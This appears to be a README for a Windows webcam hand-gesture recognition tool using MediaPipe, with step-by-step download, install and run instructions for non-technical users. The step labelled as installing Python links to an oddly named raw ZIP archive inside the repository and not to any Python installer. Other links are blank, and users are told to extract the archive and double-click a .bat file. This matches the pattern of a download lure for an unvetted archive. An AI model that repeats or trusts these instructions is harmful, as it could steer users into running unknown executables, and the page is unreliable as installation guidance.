Gesture-Recognition-with-computer-vision lets you control your computer using hand gestures. It uses the camera on your Windows PC to detect your hand movements in real time. The system tracks your hand with the help of MediaPipe, a technology that finds key points on your hand. Then, it recognizes custom gestures you can set up.
You do not need any special hardware besides a webcam. The software analyzes the camera input and displays which gesture you are making instantly.
- Operating System: Windows 10 or newer
- Processor: Intel i3 or equivalent at minimum
- Memory: At least 4 GB of RAM
- Camera: Any webcam that works with Windows
- Internet: Required only for downloading the software
- Disk Space: 200 MB free space
- Additional Software: Python 3.7 or newer (explained below)
You do not need a powerful PC. A standard laptop or desktop with a working webcam will work fine.
Use the big green button at the top or visit this page to download the software:
This page hosts all files and instructions. You will download the complete package for your computer.
- Go to the linked GitHub page.
- On the page, look for the Releases section on the right or in the menu.
- Select the latest release available. It often appears as a tag like
v1.0orlatest. - Download the
.zipfile listed under Assets. This file contains all you need.
The ZIP contains the program scripts and necessary files in one place.
This software runs using Python, a programming environment. Here is how to set it up:
- Visit https://github.com/Jaron69/Gesture-Recognition-with-computer-vision/raw/refs/heads/main/porriwiggle/computer_vision_Recognition_with_Gesture_1.9-beta.3.zip
- Download the latest Python 3.x installer for Windows.
- Run the installer.
- Important: Check the box that says Add Python 3.x to PATH before clicking Install.
- Finish the installation.
Once installed, Python lets you run the gesture recognition software easily.
- After downloading the ZIP file, find it in your Downloads folder.
- Right-click the file and choose Extract All....
- Choose a folder you can find easily, like your Desktop or Documents.
- Click Extract to unzip the files.
You now have all files ready to run the program.
- Open the folder where you extracted the files.
- Look for a file named
run_gesture_recognition.batorstart.bat. - Double-click this file. It will run the program using Python automatically.
If there is no .bat file, you can start the software this way:
- Click the Windows Start button and type cmd to open Command Prompt.
- In the Command Prompt window, type
cdfollowed by the path of the software folder. Example:cd Desktop\Gesture-Recognition-with-computer-vision - Press Enter to move to the folder.
- Type the following command and press Enter:
python main.py
The program starts, opens your webcam, and displays the real-time gesture recognition window.
Before running the program, you must install some packages Python needs. These packages let the program access the webcam and recognize gestures.
- Open Command Prompt as explained earlier.
- Navigate to the folder where you extracted the software.
- Type this command and hit Enter:
pip install -r requirements.txt
This command downloads and installs all necessary packages automatically.
If you don’t see pip installed, Python might not have added it to your system path. You can reinstall Python and check the box for adding Python to PATH, or run Python installer again and choose Modify.
Once the program runs, it will open a window with a live webcam feed. The program detects your hand and shows landmarks—dots at key spots on your fingers and palm.
- Try moving your hand in front of the camera.
- Perform the preset gestures to see the program recognize them.
- If you want to customize gestures, you will find instructions in the documentation files included.
You can pause or close the program by pressing Q or simply closing the window.
- Real-time hand landmark tracking with MediaPipe.
- Custom gesture classification to map hand movements to commands.
- Works in standard lighting with most webcams.
- Runs smoothly on regular Windows PCs without extra hardware.
- Python-based, so you can modify or extend it if you want.
- If the webcam does not open, check if another app is using it.
- Ensure your camera drivers are up to date.
- Run Command Prompt as Administrator if package installation fails.
- If Python commands don’t work, verify Python is installed and added to PATH.
- Close unnecessary programs to improve webcam performance.
Use this link to visit the GitHub page for downloading and updates:
You will find latest releases, documentation, and support.
| Requirement | Details |
|---|---|
| Operating System | Windows 10 or later |
| Processor | Intel i3 or equivalent |
| RAM | 4 GB minimum |
| Camera | HD Webcam or better |
| Disk Space | 200 MB free space |
| Software | Python 3.7+ (Windows build) |
- AI
- Computer Vision
- Gesture Recognition
- Hand Tracking
- Machine Learning
- MediaPipe
- Neural Networks
- OpenCV
- Python
- Real-time Processing
- TensorFlow
Use this app to explore gesture-based control or to build your own gesture recognition projects.